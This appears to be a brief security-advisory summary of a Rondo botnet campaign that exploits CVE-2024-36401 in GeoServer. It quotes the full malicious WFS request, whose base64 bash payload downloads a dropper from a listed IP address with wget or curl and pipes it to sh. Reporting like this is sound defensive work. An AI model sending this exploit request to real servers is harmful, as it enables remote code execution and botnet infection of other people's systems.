Rondo Meets Geoserver, (Wed, Jul 22nd)
A Rondo botnet attack targeting Geoserver, a geographic information system tool, is being observed. The attack leverages a vulnerability (CVE-2024-36401) to execute arbitrary shell commands, delivering a Rondo payload. This is a repeat of previous Rondo attacks against Geoserver.
A Rondo botnet is targeting Geoserver, a popular tool for managing and manipulating geographic data. The attack utilizes a vulnerability, CVE-2024-36401, an X-Path expression evaluation issue, to execute shell commands. The initial request, `GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')`, results in the execution of a Rondo payload. Base64 decoding reveals a script that attempts to download and execute a Rondo botnet dropper. The script uses `wget` or `curl` to retrieve and execute a malicious file. The attack is a repeat of previous Rondo attacks against Geoserver. The SANS Internet Storm Center observed this activity.